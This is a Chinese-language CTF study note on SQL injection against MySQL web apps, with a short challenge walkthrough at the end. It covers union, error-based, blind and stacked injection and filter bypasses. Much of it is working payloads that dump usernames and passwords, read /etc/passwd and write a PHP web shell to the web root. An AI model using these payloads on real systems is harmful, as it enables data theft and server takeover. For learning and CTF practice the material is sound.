sql注入:
CTF·Web基础 | PureStream & Marblue
【超详细版】SQL注入原理及思路绕过(看这篇就够了)-CSDN博客
成因:
web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。
sql语句是什么:
一种关系型数据库查询的标准编程语言,用于存取数据以及查询、更新、删除和管理关系型数据库(即SQL是一种数据库查询语言)。
关于库(SCHEMA),表(TABLE),列 (Column),以及行:
简单来说就是数据存储的结构,直接举例吧:
数据库:school
└── 表:students
├── 列:id | name | age | email
├── 行1:1 | 张三 | 18 | zhangsan@example.com
└── 行2:2 | 李四 | 19 | lisi@example.com
mysql基本语法:
--和#:注释
/* ... */:多行注释
;:语句分隔符,可用于堆叠多条指令
||:|| 在 MySQL 默认模式下是逻辑 OR,不是字符串拼接,需开启 PIPES_AS_CONCAT
SELECT:查询
格式:
SELECT [DISTINCT] column1, column2, ...
FROM table_name
[WHERE condition]
[GROUP BY column(s)]
[HAVING group_condition]
[ORDER BY column(s) [ASC|DESC]]
[LIMIT number];
参数:
SELECT:指定要查询的列,可用 * 代表所有列,也可写具体字段名,支持表达式(如 `name
FROM:指定数据来源表,可包含多个表(JOIN)
WHERE:过滤行(记录),条件为 TRUE 的行才会被返回
GROUP BY:对结果分组,通常与聚合函数(如 COUNT, SUM)一起用
HAVING:过滤分组后的结果,作用于 GROUP BY 之后
ORDER BY:对结果排序,默认升序(ASC),可指定 DESC 降序
LIMIT:限制返回行数,常用于分页(MySQL/PostgreSQL),SQLite 也支持;SQL Server 用 TOP,Oracle 用 ROWNUM
INSERT:插入数据
格式:
INSERT INTO table_name (column1, column2, ...)
VALUES (value1, value2, ...);
UPDATE:更新数据
格式:
UPDATE table_name
SET column1 = value1, column2 = value2, ...
WHERE condition;
DELETE:删除数据
格式:
DELETE FROM table_name
WHERE condition;
CREATE TABLE:创建表)
格式:
CREATE TABLE table_name (
column1 datatype [constraints],
column2 datatype [constraints],
...
);
UNION SELECT和UNION ALL SELECT:用于从其他表中提取数据,要求字段数和类型需匹配原有查询
DATABASE()或SCHEMA():当前数据库名
@@DATADIR():数据库存储数据路径
USER()或CURRENT_USER():当前数据库用户
VERSION():MySQL版本
information_schema.SCHEMATA:列出所有数据库
information_schema.TABLES:列出表
例:SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE()
information_schema.COLUMNS:列出列
例:SELECT column_name FROM information_schema.columns WHERE table_name='users'
CONCAT(str1, str2, ...):拼接参数求值结果,但每项只返回一行
GROUP_CONCAT(...):类似concat,将多行合并为一行(绕过分页或逐行限制)
SUBSTR()或SUBSTRING():用于从字符串中提取子串
例:SUBSTR(原始字符串, 起始位置, 长度)
MID():等价于 SUBSTR
CHAR():将 ASCII 转为字符(绕过引号)
HEX() / UNHEX():用于十六进制编码与解码,绕过用的
IF(condition, true_val, false_val):如果 condition 为真(非零且非 NULL),返回true_val,否则返回false_val。
例:SELECT IF(1=1, 'Yes', 'No'); -- 'Yes'
CASE WHEN ... THEN ... ELSE ... END:类似ifelse语句
例:CASE
WHEN condition1 THEN result1
WHEN condition2 THEN result2
...
ELSE default_result
END
SLEEP(seconds):时间延迟(用于时间盲注)
LOAD_FILE('/etc/passwd'):读文件
INTO OUTFILE '/var/www/shell.php':写文件
INTO DUMPFILE:写文件
PIPES_AS_CONCAT:将 || 或运算符转换为连接字符,即将||前后求值结果拼接到一起
格式:set sql_mode=PIPES_AS_CONCAT
关于在这使用 ` 而不是 ’ 的一些解释:
两者在linux下和windows下不同,linux下不区分,windows下区分。
单引号 ’ 或双引号主要用于 字符串的引用符号
反勾号 ` 数据库、表、索引、列和别名用的是引用符是反勾号 (注:Esc下面的键)
有MYSQL保留字作为字段的,必须加上反引号来区分!!!
如果是数值,请不要使用引号。
简单查询语句:
SELECT * FROM users WHERE username = 'user' AND password = 'password';
利用步骤:
1:判断存在sql注入/寻找注入点:
在GET参数、POST参数、Cookie、Referer、XFF、UA等地方尝试插入代码、符号或语句,尝试是否存在数据库参数读取行为,以及能否对其参数产生影响,如产生影响则说明存在注入点,同时也可判断语句闭合类型
测试位置:URL参数、POST表单、HTTP头(如Cookie、User-Agent)
触发异常:添加单引号'、双引号"、反斜杠还有')等观察是否报错或页面变化
常见测试代码:
?id=1' //如果报错表示存在注入
原理:实际执行的是:SELECT * FROM users WHERE username = '1'' AND password = 'password';这样'没能正常闭合报错
?id=1' AND 1=1 # //页面正常
?id=1' AND 1=2 # //页面异常(空白或错误)
原理:实际执行的是:SELECT * FROM users WHERE username = '1' AND 1=1 #' AND password = 'password';
以及:SELECT * FROM users WHERE username = '1' AND 1=2 #' AND password = 'password';
前者因为1=1恒返回ture所以正常执行,后者因为1=2恒返回false总是报错
2:提取信息,爆库名表名等:
查询版本:
' AND 1=1 UNION SELECT 1, VERSION() --
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, VERSION(), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a) --
获取当前数据库名:
DATABASE()
SCHEMA()
列出所有数据库:
' UNION SELECT 1, schema_name FROM information_schema.schemata --
列出当前数据库所有表:
' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema=DATABASE() --
或指定数据库:
' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema='mydb' --
列出指定表的列(字段):
' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users' --
若 UNION 字段数不匹配,先用 ' ORDER BY N -- 确定字段数量。
读取数据:
' UNION SELECT 1, CONCAT(username, 0x3a, password) FROM users --
合并读取多行数据:
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password) FROM users --
//注:0x3a是冒号“:”的十六进制,避免空格或特殊字符干扰
3:判断注入类型
以下列出常见注入类型,以及判断和利用方法:
1:UNION-based SQL Injection(联合查询注入):
前提:注入点位于 SELECT 查询中,且应用程序会将 SQL 查询结果直接回显到页面
原理:利用 UNION SELECT 将攻击者构造的查询结果合并到原始查询结果中,从而直接读取数据库内容
union select:SQL 中用于合并多个 SELECT 查询结果集的关键字组合。在 SQL 注入(尤其是联合查询注入)中,攻击者常利用它将恶意查询结果“注入”到原始查询的响应中,从而窃取数据库中的敏感信息。但是使用时必须注意两个 SELECT 返回的列数量必须相同,每一列的数据类型应兼容,同时,UNION 默认去重,但UNION ALL 保留重复行。
判断:
先确认字段数/列数:
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
...
//直到报错,那么字段数/列数就是报错那段的n-1,比如' ORDER BY 3--报错那字段数/列数就是2
然后测试回显:
' UNION SELECT 1,2,3--
//如果页面在正常查询数据后显示 1、2、3(或其中某些数字),说明存在 UNION 注入点,且回显了数字的就是回显位,语句中对应数字可以替换成查询语句来提取数据。若数字不显示,尝试字符串,比如'1'替换1
-1' UNION SELECT NULL--
-1' UNION SELECT NULL,NULL--
//也可以这样测试列数,前面用负数那前面的select就不回显数据,只有后面一个select回显,而当出现正常回显或显示额外内容说明列数匹配,然后挨个将NULL替换位数字或字符即可测试出回显位
有回显即可利用
利用:
直接拿数据:
' UNION SELECT 1, DATABASE(), 3--
//获取数据库名
' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=DATABASE()--
//读取表名
' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='users'--
//读取列名
' UNION SELECT 1, CONCAT(username, 0x3a, password), 3 FROM users--
//提取数据
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password), 3 FROM users--
//绕过长度限制(使用 GROUP_CONCAT)
load_file可以直接读取文件,如:-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+(需要权限和绝对路径)
2:Error-based SQL Injection(错误注入)
前提:应用程序将数据库错误信息直接显示给用户(如 PHP 开启了错误显示)
原理:利用 MySQL 的报错函数,将想要的数据嵌入到错误消息中返回
判断:
触发一个可控错误:
' AND (SELECT 1 FROM nonexistent_table)--
//若返回类似 Table 'db.nonexistent_table' doesn't exist,说明错误可见。
利用:
updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中
所以构造如下:
' and updatexml(1, concat(0x7e,version()), 3) --+
' and updatexml(1,concat(0x7e,(select group_concat(schema_name)from information_schema.schemata),0x7e),1) --+
//其中0x7e等价于~
FLOOR(RAND(0)*2) + GROUP BY主键重复导致报错
rand(0)*2 可以产生[0,2)之间的随机数
floor()返回小于等于括号内该值的最大整数
floor (rand(0)*2) 可以产生两个确定的数,也就是0和1
group by 分类汇总
count(*) 统计结果的记录数
构造如下:
' and (select 1 from (select count(*),concat((select concat(table_name) from information_schema.tables where table_schema='security' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
或
' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
或
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, DATABASE(), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x) a)--
//COUNT(*) 是一个聚合函数,用于统计查询结果的行数,在 GROUP BY 查询中,必须至少有一个聚合函数(如 COUNT, MAX, SUM 等),否则语法不合法
//RAND(0) 表示使用种子 0 初始化随机数生成器,因此结果是确定性的,FLOOR(RAND(0)*2) 将 RAND(0) 的结果×2,再向下取整,得到0或1。
//AS x给拼接结果起一个别名x,方便在 GROUP BY 中引用。
extractvalue()函数:MySQL 提供的一个 XML 函数,用于从 XML 文档中提取特定 XPath 表达式匹配的值。格式:extractvalue(XML_document,xpath_string)第一个参数:string格式,为XML文档对象的名称,第二个参数:xpath_string(xpath格式的字符串)。当xpath_string格式非字符串时报错。这在 SQL 注入(特别是 基于错误的注入)中被广泛用于强制触发包含敏感数据的 XPath 错误,从而泄露信息。
构造如下:
' AND EXTRACTVALUE(1, CONCAT(0x5c, DATABASE()))--+
//0x5c = "",(用于触发 XML 解析错误)
由于报错数据显示有长度限制,所以有时需要截取数据
构造如下:
' and updatexml(1,concat(0x7e,(select userfrom mysql.user limit 0,1)),3) --+
//展示第零条数据
' and updatexml(1,concat(0x7e,(select userfrom mysql.user limit 1,1)),3) --+
//展示第一条数据
' and updatexml(1,concat(0x7e,substr((select group_concat(user) from mysql.user), 1 , 31)),3) --+
//从第一个字符开始截取到第31个字符
如果禁用=可以用like代替,空格用()代替,回显字符数有上限可以用right突破;
3:Boolean-based Blind SQL Injection(布尔盲注)
前提:无数据回显,无错误信息,但页面内容会根据 SQL 条件真假而变化(如“存在/不存在”、“登录成功/失败”)。
原理:通过构造 AND 条件,观察页面差异(布尔响应)来逐位猜解数据。
判断:
' AND 1=1-- //页面正常(如显示商品)
' AND 1=2-- //页面异常(如“无结果”)
利用:
常用函数:
database() //显示数据库名称
left(a,b) //从左侧截取a的前b位
substr(a,b,c) //从b位置开始,截取字符串a的c长度
mid(a,b,c) //从位置b开始,截取a字符串的c位
length() //返回字符串的长度
Ascii() //将某个字符转换为ascii值
char() //将ASCII码转换为对应的字符
构造:
' AND LENGTH(DATABASE())=5-- //猜数据库名长度
'and left(database(),1)>'a'--+
' AND SUBSTR(DATABASE(),1,1)='s'-- //猜数据库名首字母
' AND ASCII(SUBSTR(DATABASE(),1,1))=115-- //猜ASCII值(便于自动化)
(ASCII(SUBSTR(database(),{},1))={})
(ASCII(SUBSTR((SELECT(group_concat(table_name))FROM(information_schema.tables)WHERE(table_schema=DATABASE())),{},1))={})
(ASCII(SUBSTR((SELECT(group_concat(column_name))FROM(information_schema.columns)WHERE(table_name="F1naI1y")),{},1))={})
(ASCII(SUBSTR((SELECT(group_concat(password))FROM(F1naI1y)),{},1))={})
4:Time-based Blind SQL Injection(时间盲注)
前提:无任何回显差异(页面内容和状态码始终相同),但可通过控制数据库响应时间来判断条件真假。
原理:利用 SLEEP() 或 BENCHMARK() 函数制造延迟
判断:
' AND SLEEP(5)--
//如果响应延迟 5 秒以上,说明存在时间盲注
利用:
' AND IF(ASCII(SUBSTR(DATABASE(),1,1))=115, SLEEP(5), 0)--
//跟布尔盲注差不多的构造,只是判断方法更牢一些
5:Stacked Queries(堆叠查询)
前提:数据库驱动支持执行多条 SQL 语句(以 ; 分隔)
原理:略
判断:
'; SELECT SLEEP(5); --
//如果响应延迟5秒以上,说明存在堆叠查询
利用:
'; UPDATE users SET password='hacked' WHERE username='admin'; --
//修改数据
'; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'; --
//上传木马
'; SELECT LOAD_FILE('/etc/passwd'); --
//读取文件
4:绕过过滤:
1:关键字过滤:
sel<>ect //<>绕过
sel/**/ect //**//绕过
也可以试试大小写混合绕过,url编码绕过,16进制编码绕过,ASCII编码绕过
CONCAT('se','lect * from `users`;')利用预编译绕过
预编译相关语法如下:
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
例:-1';use supersqli;set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare a from @sql;execute a;#
2:逗号过滤:
union select 1,2,3=union select * from (select 1)a join (select 2)b join (select 3)
//join:sql中用于组合多个表的数据的核心语句。它的本质是根据某些条件,把两个(或多个)表的行“拼接”在一起。
对于substr和mid()可以:
substr(str from pos for len) //在str中从第pos位截取len长的字符
mid(str from pos for len) //在str中从第pos位截取len长的字符
对于limit:
limit 1(只返回一行) offset 1(跳过第一行)
3、过滤空格:
双空格
/**/代替
用括号绕过
用回车代替 //ascii码为chr(13)&chr(10),url编码为%0d%0a
${IFS}或$9IFS
4、过滤等号:
用like 、rlike 、regexp和between或者使用< 或者 >代替
LIKE: SUBSTRING(VERSION(),1,1)LIKE(5)
NOT IN: SUBSTRING(VERSION(),1,1)NOT IN(4,3)
IN: SUBSTRING(VERSION(),1,1)IN(4,3)
BETWEEN: SUBSTRING(VERSION(),1,1) BETWEEN 3 AND 4
5、过滤大于小于号:
greatest(n1,n2,n3,...) //返回其中的最大值
strcmp(str1,str2) //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1
in 操作符
between and //选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。
6.等价函数绕过:
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者: substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
select==>show
select==>handler:
解释:通过handler语句查询users表的内容
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
7:符号和字母相互代替:
AND:&&
OR:或`
=:LIKE, REGEXP, BETWEEN
>:NOT BETWEEN 0 AND X
WHERE:HAVING
一些神奇思路:
如果select被ban,而且绕不过,可以尝试对本来的表,列进行重命名以利用后端本来就有的select
比如有两个表,一个是words一个是114514,本来的查寻是select * from words where id='',data=‘’,然后flag在114514中,那么可以将words重命名为word1将114514重命名为words再插入id列并且设置默认值,然后将flag列重命名为data,再打1' or 1=1 #就可以了
例:1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE words CHANGE flag data VARCHAR(100);-- q
利用case when then以及溢出报错爆破:
基本格式:
CASE 1E0
WHEN `password` REGEXP '^m52FPlDxYyLB.eIzAr!8gxh.$' THEN 1E0
ELSE ~0E0 + ~0E0
END
基本利用:
SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP'^f'THEN+1e0ELSE~0e0+~0e0END;
//(这里 ~ 为取反操作符,0 取反即为最大值,再加 1 溢出报错)
regexp,like的区分大小写的使用方法:
SELECT 'abc' LIKE 'ABC';
SELECT 'abc' LIKE _utf8mb4 'ABC' COLLATE utf8mb4_0900_as_cs;
SELECT 'abc' LIKE _utf8mb4 'ABC' COLLATE utf8mb4_bin;
SELECT 'abc' LIKE BINARY 'ABC';
综合:
SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP+BINARY'^F'THEN+1e0ELSE~0e0+~0e0ENDD;
SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP'^F'COLLATE'utf8mb4_bin'THEN+1e0ELSE~0e0+~0e0ENDD;
综合利用:
username=1'||case+1E0when`password`regexp'^m52FPlDxYyLB.eIzAr!8gxh.$'then+1E0else~0E0+~0E0end||'0&password=123
在mysql里面,在用作布尔型判断时,以数字开头的字符串会被当做整型数。
如:where password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于where password=‘xxx’ or 1
select被ban且可使用堆叠注入时,可以尝试用show代替:
1’;show databases;
1’;show tables;
1’;show columns from FlagHere;
handler命令查询规则:
handler table_name open;handler table_name read first;handler table_name close;
handler table_name open;handler table_name read first;handler table_name read next;handler table_name close;
//首先打开数据库,开始读它第一行数据,读取成功后进行关闭操作。
//首先打开数据库,开始循环读取,读取成功后进行关闭操作。
二次注入:
可能有些sql注入是因为填入的信息存储再调用为sql查询语句导致的,比如广告名作为键查询数据库
例题:
用户名输入1,密码输入1’后报错,说明是’闭合,推测为联合查询注入

在密码输入1' order by 4 #时报错而输入1' order by 3 #时不报错,说明前面的查询有3列

测试回显列如下:
1' union select 1,2,3 #
得到如下回显:

那么回显便在2跟3列
那么直接开始爆库名:
1' UNION SELECT 1,group_concat(DATABASE()), 3 #

然后开始爆表名:
' UNION SELECT 1,group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema=DATABASE() #
回显如下:

题目是l0ve1ysq1,那么直接查l0ve1ysq1表(先查另外一个也行,试错)
然后爆列名:
1' UNION SELECT 1, group_concat(column_name), 3 FROM information_schema.columns WHERE table_name='l0ve1ysq1' #

然后就是直接开始爆数据了:
1' UNION SELECT 1, group_CONCAT(username,id,password),3 FROM l0ve1ysq1 #

得到flag